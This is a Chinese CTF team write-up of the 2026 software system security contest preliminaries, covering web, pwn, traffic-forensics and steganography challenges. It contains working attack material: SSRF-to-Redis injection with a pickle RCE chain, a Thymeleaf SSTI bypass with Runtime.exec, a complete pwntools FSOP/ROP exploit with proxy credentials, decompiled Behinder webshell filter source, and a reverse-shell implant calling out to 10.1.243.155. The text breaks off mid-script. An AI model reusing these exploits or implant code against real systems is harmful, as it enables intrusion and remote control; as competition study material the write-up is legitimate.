2026 软件系统安全赛 初赛 wp
在2026软件系统安全赛初赛中,Spirit战队ak了全部赛题,现将团队wp整理如下,与大家交流学习。

Web
Auth
注册一个用户之后修改头像,avatar_url 支持 file:// 协议,可以任意文件读取,但是没权限读取 /flag,结果经过 base64 后放在头像框内 先读 /app/app.py:avatar_url=file:///app/app.py发现存在 redis,尝试读 redis 持久化文件 dump.rdb
avatar_url=file:///var/lib/redis/dump.rdb拿到 Flask secret_key
伪造 admin 的 session cookie 登录
/admin/online-users 会遍历 online_user:* 并反序列化。虽然用了 RestrictedUnpickler,但放行了 builtins.getattr,而 OnlineUser 在白名单内 可构造 pickle 链:
getattr(getattr(getattr(getattr(OnlineUser, "__init__"),"__globals__")"get")("os"),"system")(cmd)
目标是:online_user:<user>需要把该键覆盖成恶意 pickle 利用点仍是 avatar_url:将请求打到 127.0.0.1:6379,通过 CRLF + RESP 进行协议注入,发送:
AUTH redispass123SET online_user:<user> <pickle_payload>EXPIRE online_user:<user> 3600
通过读取 file:///proc/1/task/1/children,拿到子进程 PID:11 14 20
逐个读 file:///proc/<pid>/cmdline
在 pid=11 看到可疑启动命令:
python3 /opt/mcp_service/mcp_server_secure_e938a2d234b7968a885bbbbb63cde7b9.py
直接读这个脚本文件,发现里面存在:
SimpleXMLRPCServer(("0.0.0.0", 54321), ...)
暴露方法 execute_command,同时硬编码 token 为 mcp_secure_token_b2rglxd
在容器内执行 xmlrpc.client.ServerProxy(“http://127.0.0.1:54321/”) 可以调用
所以反序列化命令可以直接写成:
python3 -c "import xmlrpc.client;print(xmlrpc.client.ServerProxy('http://127.0.0.1:54321/').execute_command('mcp_secure_token_b2rglxd','cat /flag'))" >/tmp/mcp_out.txt
最后用任读从 /tmp/mcp_out.txt 中拿到flag
themyleaf
-
PRNG 状态泄露
用户注册时会从后端返回一个 PRNG 取值,可以从中获得其内部状态,然后反推回 admin 账号的密码
MASK = (1 << 48) - 1 LOW47 = (1 << 47) - 1defprev_candidates(cur): base = ((cur & LOW47) << 1) & MASKreturn [base, base | 1]
-
Thymeleaf SSTI
控制器中存在
return"admin :: " + section;
当 Thymeleaf 看到 :: 时,会把它当作 fragment expression 去解析,故此处存在 SSTI 漏洞
在高版本 Thymeleaf 里,直接写 ${…} 通常会被拦,但通过预处理和字面量拼接可以绕过:
__|$${...}|__::.x
在通过 SSTI 进行 RCE 的过程中,由于不同 JDK 版本的 Runtime.exec 的多个重载顺序可能不同,需要爆破之后找出可用的重载下标
rt = "''.getClass().forName('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null)" expr = f"{rt}.getClass.getMethods.?[name=='exec'][{idx}].invoke({rt},'/usr/bin/id')"
RCE 之后进去的用户是 ctf,需要 root 用户才能读取 /flag
-
7z提权
find suid:
find / -perm -4000 -type f
发现最主要的 7z,最后使用 /usr/bin/7z a -ttar -an -so /flag 直接获得 flag 内容
Pwn
MailSystem
from pwn import *import os, shutil, tempfileimport socketcontext.arch = 'amd64'context.os = 'linux'context.log_level = 'info'EXE = './pwn'LIBC = './libc.so.6'LD = './ld-linux-x86-64.so.2'elf = context.binary = ELF(EXE, checksec=False)libc = ELF(LIBC, checksec=False)stdout_offset = -7host = '192.0.100.2'port = 9999socks5 = '3.dart.ccsssc.com:26177'socks_user = '3hm3n1br'socks_pass = 'tbkzq6tp'def_normalize_socks5(value: str) -> str:ifnot value:return'' value = str(value).strip()if value.lower() in {'0', 'false', 'off', 'no', 'none'}:return''return valuedef_normalize_opt(value: str) -> str:if value isNone:return'' value = str(value).strip()if value.lower() in {'0', 'false', 'off', 'no', 'none'}:return''return valuedef_enable_socks5(proxy_spec: str, username: str = '', password: str = ''): proxy_spec = _normalize_socks5(proxy_spec)ifnot proxy_spec:return host, sep, port = proxy_spec.rpartition(':')ifnot sep ornot host ornot port.isdigit():raise ValueError(f'Invalid SOCKS5 proxy: {proxy_spec!r}, expected host:port')import socks username = _normalize_opt(username) password = _normalize_opt(password) socks.set_default_proxy( socks.SOCKS5, host, int(port), username=username orNone, password=password orNone, ) socket.socket = socks.socksocket auth_state = 'enabled'if username or password else'disabled' info(f'Using SOCKS5 proxy: {host}:{port} (auth={auth_state})')def_prepare_loader(path: str) -> str:if os.access(path, os.X_OK):return path dst = os.path.join(tempfile.gettempdir(), 'ld.mail_system')ifnot os.path.exists(dst): shutil.copy2(path, dst) os.chmod(dst, 0o755)return dstdefstart():if args.REMOTE: _enable_socks5(socks5, socks_user, socks_pass) io = remote(host, port)else: ld = _prepare_loader(LD) io = process([ld, '--library-path', '.', EXE], stdin=PIPE, stdout=PIPE) io.recvuntil(b'Your choice: ')return iodefregister(io, name: bytes, password: bytes): io.sendline(b'2') io.recvuntil(b'Input your name: ') io.sendline(name) io.recvuntil(b'Input your password: ') io.sendline(password)return io.recvuntil(b'Your choice: ')deflogin_user(io, name: bytes, password: bytes): io.sendline(b'1') io.recvuntil(b'Input your name: ') io.sendline(name) io.recvuntil(b'Input your password: ') io.sendline(password)return io.recvuntil(b'Your choice: ')deflogin_admin(io): io.sendline(b'1') io.recvuntil(b'Input your name: ') io.send(b'\x00\n') io.recvuntil(b'Input your password: ') io.send(b'\x00\n')return io.recvuntil(b'Your choice: ')defwrite_mail(io, data: bytes):assert1 <= len(data) <= 0x100 io.sendline(b'1') io.recvuntil(b'How many bytes do you want to write? (1-256): ') io.sendline(str(len(data)).encode()) io.recvuntil(b'bytes):\n') io.send(data)return io.recvuntil(b'Your choice: ')defsend_mail(io, dst: int, overwrite: bool = True): io.sendline(b'3') io.recvuntil(b'Who do you want to send the mail to? (input user ID 1-12)\n') io.sendline(str(dst).encode()) out = io.recvuntil([b'Overwrite? (y/n): ', b'Your choice: '])if out.endswith(b'Overwrite? (y/n): '): io.sendline(b'y'if overwrite elseb'n') out += io.recvuntil(b'Your choice: ')return outdeflogout_user(io): io.sendline(b'4')return io.recvuntil(b'Your choice: ')defadmin_logout(io): io.sendline(b'5')return io.recvuntil(b'Your choice: ')defadmin_forward(io, src: int, dst: int, which: int, overwrite: bool = True, final_mode: str = 'prompt'): io.sendline(b'4') io.recvuntil(b'Enter source user ID (whose mail to forward): (1-12) ') io.sendline(str(src).encode()) io.recvuntil(b'Enter destination user ID (1-12): ') io.sendline(str(dst).encode()) out = io.recvuntil([b'Overwrite? (y/n): ', b'Which mail would you like to forward?\n', b'Your choice: '])if out.endswith(b'Overwrite? (y/n): '): io.sendline(b'y'if overwrite elseb'n') out += io.recvuntil([b'Which mail would you like to forward?\n', b'Your choice: '])ifb'Which mail would you like to forward?'notin out:return out io.recvuntil(b'Your choice: ') io.sendline(str(which).encode())if final_mode == 'prompt': out += io.recvuntil(b'Your choice: ')else: out += io.recvrepeat(0.5)return outdefban_user(io, name: bytes, password: bytes, victim_id: int = 8): out = login_user(io, name, password)ifb'Welcome back'notin out:raise RuntimeError(f'login failed for {name!r}: {out!r}')# 1. Write mail# 1 byte# content = 'A'# 3. Send mail# victim_id# overwrite = y one = b'1\n1\nA3\n' + str(victim_id).encode() + b'\ny\n' total = 0whileTrue: io.send(one * 6) total += 6 out = io.recvuntil(b'Your choice: ', timeout=5) out += io.recvrepeat(0.2)ifb'Account has been banned!'in out: success(f'{name!r} banned after {total} sends')return outifb'Welcome back'in out andb'1. Write mail'notin out:raise RuntimeError(f'{name!r} state changed unexpectedly: {out!r}') info(f'{name!r} not banned yet, sent={total}')deftakeover_admin(io):for i in range(1, 9): register(io, f'u{i}'.encode(), f'p{i}'.encode())for i in range(1, 6): ban_user(io, f'u{i}'.encode(), f'p{i}'.encode())for i in range(9, 13): register(io, f'u{i}'.encode(), f'p{i}'.encode()) register(io, b'u13', b'p13') out = login_admin(io)assertb'Welcome admin!'in outdefleak_libc(io, src_uid: int = 8): payload = flat(0xfbad1800, 0, 0, 0) + p16(0xb780) admin_logout(io) login_user(io, f'u{src_uid}'.encode(), f'p{src_uid}'.encode()) write_mail(io, payload) logout_user(io) login_admin(io) data = admin_forward(io, src_uid, stdout_offset, 1, final_mode='repeat') marker = b'Which mail would you like to forward?\n' leak = data.split(marker, 1)[1].split(b'Mail forwarded', 1)[0] stdout = u64(leak[0x20:0x28]) libc_base = stdout - libc.sym['_IO_2_1_stdout_'] success(f'libc_base = {hex(libc_base)}') success(f'stdout = {hex(stdout)}')return libc_base, stdoutdefbuild_stdout_payload(libc_base: int, stdout: int): stderr = libc_base + libc.sym['_IO_2_1_stderr_'] stdin = libc_base + libc.sym['_IO_2_1_stdin_'] stage2_addr = libc_base + 0x21d000 wide_data = stdout - 0x50 setcontext_3d = libc_base + libc.sym['setcontext'] + 0x3d read_addr = libc_base + libc.sym['read'] file_jumps = libc_base + 0x217600 wfile_jumps = libc_base + 0x2170c0 lock_ptr = libc_base + 0x21ca70 d = bytearray(0x100)defwq(off: int, val: int): d[off:off + 8] = p64(val)defwd(off: int, val: int): d[off:off + 4] = p32(val & 0xffffffff)# known-good stdout template for this libc wq(0x00, 0xfbad2887)for off in [0x08, 0x10, 0x18, 0x20, 0x28, 0x30, 0x38]: wq(off, stdout + 0x83) wq(0x40, stdout + 0x84) wq(0x48, 0) wq(0x50, 0) wq(0x58, 0) wq(0x60, 0) wq(0x68, stdin) wq(0x70, 1) wq(0x78, 0xffffffffffffffff) wq(0x80, 0x0a000000) wq(0x88, lock_ptr) wq(0x90, 0xffffffffffffffff) wq(0x98, 0) wq(0xa0, libc_base + 0x21a9a0) wq(0xa8, 0) wq(0xb0, 0) wq(0xb8, 0) wd(0xc0, 0xffffffff) wq(0xc8, 0) wq(0xd0, 0) wq(0xd8, file_jumps) wq(0xe0, stderr) wq(0xe8, stdout) wq(0xf0, stdin) wq(0xf8, 0)# exploit patch:# _IO_wfile_overflow -> _IO_wdoallocbuf -> call [wide_vtable+0x68]# with wide_data = stdout-0x50 and wide_vtable = stdout. wq(0x00, 0xfbad2085) # clear _IO_NO_WRITES and clear the 0x800 bit wq(0x18, 0) # wide+0x68 -> rdi = 0 wq(0x20, stage2_addr) # wide+0x70 -> rsi = stage2 buffer wq(0x38, 0x400) # wide+0x88 -> rdx = count wq(0x48, 0) # wide+0x98 -> rcx wq(0x50, stage2_addr) # wide+0xa0 -> rsp = stage2 buffer wq(0x58, read_addr) # wide+0xa8 -> return to read wq(0x68, setcontext_3d) # stdout[0x68] == fake_wide_vtable[0x68] wq(0x90, stdout) # wide+0xe0 -> fake wide_vtable = stdout wq(0xa0, wide_data) # _wide_data = stdout-0x50 wd(0xc0, 1) # _mode > 0 wq(0xd8, wfile_jumps) # use _IO_wfile_jumpsreturn bytes(d), stage2_addrio = start()takeover_admin(io)success("stage1 done: fake admin acquired")libc_base, stdout = leak_libc(io)stdout_payload, stage2_addr = build_stdout_payload(libc_base, stdout)rop = ROP(libc)pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address + libc_basepop_rsi = rop.find_gadget(["pop rsi", "ret"]).address + libc_basepop_rdx_r12 = ( next( addrfor addr, g in rop.gadgets.items()if g.insns == ["pop rdx", "pop r12", "ret"] ) + libc_base)open_addr = libc_base + libc.sym["open"]read_addr = libc_base + libc.sym["read"]write_addr = libc_base + libc.sym["write"]flag_addr = stage2_addr + 0x180buf_addr = stage2_addr + 0x200stage2 = flat( pop_rdi, flag_addr, pop_rsi,0, pop_rdx_r12,0,0, open_addr, pop_rdi,3, pop_rsi, buf_addr, pop_rdx_r12,0x100,0, read_addr, pop_rdi,1, pop_rsi, buf_addr, pop_rdx_r12,0x100,0, write_addr,)stage2 = stage2.ljust(0x180, b"\x00") + b"/flag\x00"stage2 = stage2.ljust(0x400, b"\x00")admin_logout(io)login_user(io, b"u10", b"p10")write_mail(io, stdout_payload)logout_user(io)login_admin(io)admin_forward(io, 10, stdout_offset, 1, final_mode="repeat")io.send(b"5\n")sleep(0.1)io.send(stage2)data = io.recvrepeat(2.0)print(data)io.interactive()
Misc
TrafficHunter
首先前半段是根本不用看的dirsearch。
然后找到对/favicondemo.ico,知道是冰蝎马。
POST那一次
取出来是冰蝎的class,jadx跑一遍
package com.summersec.x;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.math.BigInteger;import java.security.MessageDigest;import java.util.EnumSet;import java.util.HashMap;import java.util.Map;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.DispatcherType;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.FilterRegistration;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletRequestWrapper;import javax.servlet.ServletResponse;import javax.servlet.ServletResponseWrapper;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import org.apache.catalina.LifecycleState;import org.apache.catalina.connector.RequestFacade;import org.apache.catalina.connector.ResponseFacade;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.util.LifecycleBase;/* JADX INFO: loaded from: download.class */publicfinalclassBehinderFilterextendsClassLoaderimplementsFilter{public HttpServletRequest request;public HttpServletResponse response;public String cs;public String Pwd;public String path;publicBehinderFilter(){this.request = null;this.response = null;this.cs = "UTF-8";this.Pwd = "eac9fa38330a7535";this.path = "/favicondemo.ico"; }publicBehinderFilter(ClassLoader c){super(c);this.request = null;this.response = null;this.cs = "UTF-8";this.Pwd = "eac9fa38330a7535";this.path = "/favicondemo.ico"; }public Class g(byte[] b){returnsuper.defineClass(b, 0, b.length); }publicstatic String md5(String s){ String ret = null;try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16); } catch (Exception e) { }return ret; }publicbooleanequals(Object obj){ parseObj(obj);this.Pwd = md5(this.request.getHeader("p"));this.path = this.request.getHeader("path"); StringBuffer output = new StringBuffer();try {this.response.setContentType("text/html");this.request.setCharacterEncoding(this.cs);this.response.setCharacterEncoding(this.cs); output.append(addFilter()); } catch (Exception var7) { output.append("ERROR:// " + var7.toString()); }try {this.response.getWriter().print("->|" + output.toString() + "|<-");this.response.getWriter().flush();this.response.getWriter().close();returntrue; } catch (Exception e) {returntrue; } }publicvoidparseObj(Object obj){if (obj.getClass().isArray()) { Object[] data = (Object[]) obj;this.request = (HttpServletRequest) data[0];this.response = (HttpServletResponse) data[1];return; }try { Class<?> cls = Class.forName("javax.servlet.jsp.PageContext");this.request = (HttpServletRequest) cls.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);this.response = (HttpServletResponse) cls.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e) {if (obj instanceof HttpServletRequest) {this.request = (HttpServletRequest) obj;try { Field req = this.request.getClass().getDeclaredField("request"); req.setAccessible(true); HttpServletRequest request2 = (HttpServletRequest) req.get(this.request); Field resp = request2.getClass().getDeclaredField("response"); resp.setAccessible(true);this.response = (HttpServletResponse) resp.get(request2); } catch (Exception e2) {try {this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e3) { } } } } }public String addFilter()throws Exception { Class<?> cls; ServletContext servletContext = this.request.getServletContext(); String filterName = this.path; String url = this.path;if (servletContext.getFilterRegistration(filterName) == null) { StandardContext standardContext = null; Field stateField = null;try {try { Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); Field contextField2 = applicationContext.getClass().getDeclaredField("context"); contextField2.setAccessible(true); standardContext = (StandardContext) contextField2.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart", newClass[0]); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, (Object[]) null); stateField.set(standardContext, LifecycleState.STARTED);try { cls = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception e) { cls = Class.forName("org.apache.catalina.deploy.FilterMap"); } Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]); Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]);for (int i = 0; i < filterMaps.length; i++) { Object filterMapObj = filterMaps[i]; Method findFilterMaps2 = cls.getMethod("getFilterName", new Class[0]); String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]);if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMapObj; } } stateField.set(standardContext, LifecycleState.STARTED);return"Success"; } catch (Exception var22) { String var11 = var22.getMessage(); stateField.set(standardContext, LifecycleState.STARTED);return var11; } } catch (Throwable th) { stateField.set(standardContext, LifecycleState.STARTED);throw th; } }return"Filter already exists"; }publicvoiddoFilter(ServletRequest req, ServletResponse resp, FilterChain chain)throws ServletException, IOException { HttpSession session = ((HttpServletRequest) req).getSession(); Object lastRequest = req; Object lastResponse = resp;if (!(lastRequest instanceof RequestFacade)) {try { Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", newClass[0]); lastRequest = getRequest.invoke(this.request, new Object[0]);while (!(lastRequest instanceof RequestFacade)) { lastRequest = getRequest.invoke(lastRequest, new Object[0]); } } catch (Exception e) { } }try {if (!(lastResponse instanceof ResponseFacade)) { Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", newClass[0]); lastResponse = getResponse.invoke(this.response, new Object[0]);while (!(lastResponse instanceof ResponseFacade)) { lastResponse = getResponse.invoke(lastResponse, new Object[0]); } } } catch (Exception e2) { } Map obj = new HashMap(); obj.put("request", lastRequest); obj.put("response", lastResponse); obj.put("session", session);try { session.putValue("u", this.Pwd); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var7) { var7.printStackTrace(); } }publicbyte[] base64Decode(String str) throws Exception {try { Class<?> cls = Class.forName("sun.misc.BASE64Decoder");return (byte[]) cls.getMethod("decodeBuffer", String.class).invoke(cls.newInstance(), str); } catch (Exception e) { Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }publicvoidinit(FilterConfig filterConfig)throws ServletException { }publicvoiddestroy(){ }}
大概就出来了。写个脚本:
import base64import hashlibimport jsonfrom pathlib import Pathfrom urllib.parse import unquote_plusfrom Crypto.Cipher import AESJSON_FILE = "1.json"PASSWORD = "HWmc2TLDoihdlr0N"START_FRAME = 404205OUT_DIR = Path("json_dump")defunpad(data):ifnot data:return data pad = data[-1]if1 <= pad <= 16and data.endswith(bytes([pad]) * pad):return data[:-pad]return datadefhex_to_bytes(text):return bytes.fromhex(text.replace(":", ""))defascii_strings(data, min_len=4): res = [] buf = bytearray()for b in data:if32 <= b <= 126: buf.append(b)continueif len(buf) >= min_len: res.append(buf.decode(errors="replace")) buf.clear()if len(buf) >= min_len: res.append(buf.decode(errors="replace"))return resdefdecrypt_body(body): data = base64.b64decode(hex_to_bytes(body).decode()) key = hashlib.md5(PASSWORD.encode()).hexdigest()[:16].encode() cipher = AES.new(key, AES.MODE_ECB)return unpad(cipher.decrypt(data))defdecode_implant(form_data): key = list(form_data.keys())[0] value = form_data[key]["urlencoded-form.value"] raw = base64.b64decode(unquote_plus(value))return key, rawdefsummarize_class(data): res = []for s in ascii_strings(data):if len(s) > 160:ifnot any(x in s for x in ["cd ", "echo ", "./out"]):continueif s.endswith(".java"): res.append(s)elif s in {"create", "append", "update", "list", "check"}: res.append(s)elif s.startswith("/"): res.append(s)elif any(x in s for x in ["cd ", "echo ", "pwd", "ls", "chmod", "./out", "whoami", "ps -ef", "w"]): res.append(s) out = []for s in res:if s notin out:if len(s) > 200: out.append(s[:200] + "...")else: out.append(s)return" | ".join(out[:20])defdecode_response(data): text = data.decode("utf-8", errors="replace")try: obj = json.loads(text)except Exception:return text new_obj = {}for k, v in obj.items():if isinstance(v, str):try: new_obj[k] = base64.b64decode(v).decode("utf-8", errors="replace")except Exception: new_obj[k] = velse: new_obj[k] = vreturn json.dumps(new_obj, ensure_ascii=False)packet = json.load(open(JSON_FILE))OUT_DIR.mkdir(exist_ok=True)for p in packet: layers = p["_source"]["layers"]if"http"notin layers:continue frame = int(layers["frame"]["frame.number"])if frame < START_FRAME:continue http = layers["http"] first_line = list(http.keys())[0].split(" ")[0]if first_line == "POST": uri = http[list(http.keys())[0]]["http.request.uri"]if uri == "/"and"urlencoded-form"in layers: form_key, raw = decode_implant(layers["urlencoded-form"]) open(OUT_DIR / f"{frame}_implant.class", "wb").write(raw) print(frame, "implant", form_key, len(raw), summarize_class(raw))continueif"data"notin http:continue raw = decrypt_body(http["data"]["data.data"])if raw.startswith(b"\xca\xfe\xba\xbe"): open(OUT_DIR / f"{frame}.class", "wb").write(raw) print(frame, "request", summarize_class(raw))else: open(OUT_DIR / f"{frame}.bin", "wb").write(raw) print(frame, "request_raw", raw[:120])continueif first_line == "HTTP/1.1": code = http[list(http.keys())[0]]["http.response.code"]if code != "200":continueif frame == 404210: raw = hex_to_bytes(http["http.file_data"]) open(OUT_DIR / f"{frame}_response.txt", "wb").write(raw) print(frame, "response", raw.decode("utf-8", errors="replace"))continueif"data"notin http:continue raw = decrypt_body(http["data"]["data.data"]) open(OUT_DIR / f"{frame}_response.txt", "wb").write(raw) print(frame, "response", decode_response(raw))
可以看到最后运行了/var/tmp/out –aes-key xxx。
out是临时上传的,可以直接从前面的文件分块里面恢复。
取出来upx -> pyinstaller -> pyc.
# Decompiled with PyLingual (https://pylingual.io)# Internal filename: 'implant.py'# Bytecode version: 3.9.0beta5 (3425)# Source timestamp: 1970-01-01 00:00:00 UTC (0)global _aesgcmimport osimport socketimport structimport subprocessimport argparseimport settingsimport base64from cryptography.hazmat.primitives.ciphers.aead import AESGCMSERVER_LISTEN_IP = '10.1.243.155'SERVER_LISTEN_PORT = 7788IMPLANT_CONNECT_IP = '10.1.243.155'IMPLANT_CONNECT_PORT = 7788SERVER_LISTEN_NUM = 20_aesgcm = Nonedefset_aes_key(key_b64: str):global _aesgcm key = base64.b64decode(key_b64)if len(key) notin [16, 24, 32]:raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节(对应 128, 192, 256 位)')else: _aesgcm = AESGCM(key)defencrypt_data(data: bytes) -> bytes:if _aesgcm isNone:raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()')else: nonce = os.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None)return nonce + ciphertextdefdecrypt_data(encrypted_data: bytes) -> bytes:if _aesgcm isNone:raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()')else:if len(encrypted_data) < 28:raise ValueError('加密数据太短,无法包含 nonce 和认证标签')else: nonce = encrypted_data[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None)return plaintextdefexec_cmd(command, code_flag): command = command.decode('utf-8')if command[:2] == 'cd'and len(command) > 2:try: os.chdir(command[3:]) cmd_path = os.getcwd() stdout_res = f'切换到 {cmd_path} 路径下'except Exception: stdout_res = f'系统找不到指定的路径。: {command[3:]}'else: obj = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_res = obj.stdout.read() + obj.stderr.read()ifnot stdout_res: stdout_res = f'{command} 执行成功'else:try: stdout_res = stdout_res.decode(code_flag)except Exception:if code_flag == 'gbk': code_flag = 'utf-8'else:if code_flag == 'utf-8': code_flag = 'gbk' stdout_res = stdout_res.decode(code_flag)return stdout_res.strip()defsend_data(conn, data):if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data)defrecv_data(sock, buf_size=1024): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b''while recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size data = settings.decrypt_data(encrypted_data)return datadefmain():# irreducible cflow, using cdg fallback# ***<module>.main: Failure: Different control flow sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk'if os.name == 'nt'else'utf-8'try: cmd = recv_data(sock)if cmd == b'exit': sock.close() res = exec_cmd(cmd, code_flag) send_data(sock, res)except Exception: sock.close()if __name__ == '__main__': parser = argparse.ArgumentParser(description='') parser.add_argument('--aes-key', required=True, help='') args = parser.parse_args() settings.set_aes_key(args.aes_key) main()
那就再来个脚本就好了。
import base64import jsonfrom Crypto.Cipher import AESJSON_FILE = "1.json"STREAM = 40563KEY_B64 = "IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="SERVER_IP = "10.1.243.155"IMPLANT_IP = "10.1.33.69"START_FRAME = 404205defdecrypt_blob(key, blob): nonce = blob[:12] ciphertext = blob[12:-16] tag = blob[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)return cipher.decrypt_and_verify(ciphertext, tag)defparse_messages(rows, key): rows.sort(key=lambda x: (x[3], x[0])) buf = bytearray() start_frame = None out = []for frame, src, dst, seq, payload in rows:ifnot buf: start_frame = frame buf.extend(payload)while len(buf) >= 4: size = int.from_bytes(buf[:4], "little")if len(buf) < 4 + size:break enc = bytes(buf[4 : 4 + size]) plain = decrypt_blob(key, enc) out.append((start_frame, src, dst, size, plain))del buf[: 4 + size] start_frame = frame if buf elseNonereturn outdefhex_to_bytes(text):return bytes.fromhex(text.replace(":", ""))packet = json.load(open(JSON_FILE))server_to_implant = []implant_to_server = []for p in packet: layers = p["_source"]["layers"]if"tcp"notin layers or"ip"notin layers:continue frame = int(layers["frame"]["frame.number"])if frame < START_FRAME:continue tcp = layers["tcp"]if int(tcp.get("tcp.stream", "-1")) != STREAM:continue payload_hex = tcp.get("tcp.payload")ifnot payload_hex:continue src = layers["ip"]["ip.src"] dst = layers["ip"]["ip.dst"] item = (frame, src, dst, int(tcp["tcp.seq"]), hex_to_bytes(payload_hex))if src == SERVER_IP and dst == IMPLANT_IP: server_to_implant.append(item)elif src == IMPLANT_IP and dst == SERVER_IP: implant_to_server.append(item)key = base64.b64decode(KEY_B64)print("server -> implant")for frame, src, dst, size, plain in parse_messages(server_to_implant, key): print(frame, size, plain.decode("utf-8", errors="replace"))print("implant -> server")for frame, src, dst, size, plain in parse_messages(implant_to_server, key): print(frame, size, plain.decode("utf-8", errors="replace"))
Steg
xxd看一眼

直接删掉前面的东西,libmagic能正常识别了。

但是打不开,图片IDAT CRC爆炸了。把idat拼起来之后错位。
写一个策略尽可能多恢复点东西:
import zlibfrom pathlib import Pathfrom typing import Iterablefrom PIL import ImagePNG_SIG = b'\x89PNG\r\n\x1a\n'defiter_png_chunks(png: bytes):ifnot png.startswith(PNG_SIG):raise ValueError('Not a PNG stream') off = len(PNG_SIG)while off + 12 <= len(png): length = int.from_bytes(png[off:off + 4], 'big') ctype = png[off + 4:off + 8] data_start = off + 8 data_end = data_start + length crc_end = data_end + 4if crc_end > len(png):breakyield ctype, png[data_start:data_end], off, crc_end off = crc_endif ctype == b'IEND':breakdefget_png_info(png: bytes):for ctype, data, _start, _end in iter_png_chunks(png):if ctype == b'IHDR':if len(data) != 13:raise ValueError('Bad IHDR length') width = int.from_bytes(data[0:4], 'big') height = int.from_bytes(data[4:8], 'big') bit_depth = data[8] color_type = data[9] compression = data[10] filter_method = data[11] interlace = data[12]return {'width': width,'height': height,'bit_depth': bit_depth,'color_type': color_type,'compression': compression,'filter_method': filter_method,'interlace': interlace,'channels': {0: 1, 2: 3, 3: 1, 4: 2, 6: 4}.get(color_type, 0) }raise ValueError('IHDR not found')defpaeth_predictor(a: int, b: int, c: int): p = a + b - c pa = abs(p - a) pb = abs(p - b) pc = abs(p - c)if pa <= pb and pa <= pc:return aif pb <= pc:return breturn cdefreconstruct_scanline(filter_type: int, filtered: bytes, prior: bytes, channels: int = 3): stride = len(filtered) recon = bytearray(stride)if filter_type == 0: # None recon[:] = filteredelif filter_type == 1: # Subfor x in range(stride): a = recon[x - channels] if x >= channels else0 recon[x] = (filtered[x] + a) & 0xffelif filter_type == 2: # Upfor x in range(stride): recon[x] = (filtered[x] + prior[x]) & 0xffelif filter_type == 3: # Averagefor x in range(stride): a = recon[x - channels] if x >= channels else0 b = prior[x] recon[x] = (filtered[x] + ((a + b) // 2)) & 0xffelif filter_type == 4: # Paethfor x in range(stride): a = recon[x - channels] if x >= channels else0 b = prior[x] c = prior[x - channels] if x >= channels else0 recon[x] = (filtered[x] + paeth_predictor(a, b, c)) & 0xffelse:raise ValueError(f'Invalid filter type: {filter_type}')return bytes(recon)# Main programinput_file = Path('carved.png')output_file = Path('carved_repaired.png')# Read PNGpng_data = input_file.read_bytes()# Parse PNG infoinfo = get_png_info(png_data)width = info['width']height = info['height']num_channels = info['channels']# Extract and concatenate all IDAT chunksidat_data = bytearray()idx = 0whileTrue: i = png_data.find(b'IDAT', idx)if i < 0:breakif i >= 4: length = int.from_bytes(png_data[i - 4:i], 'big') data_start = i + 4 data_end = data_start + lengthif data_end <= len(png_data): idat_data.extend(png_data[data_start:data_end]) idx = i + 1idat_data = bytes(idat_data)raw = zlib.decompressobj().decompress(idat_data)row_len = 1 + num_channels * widthexpected = row_len * heightmax_delta = 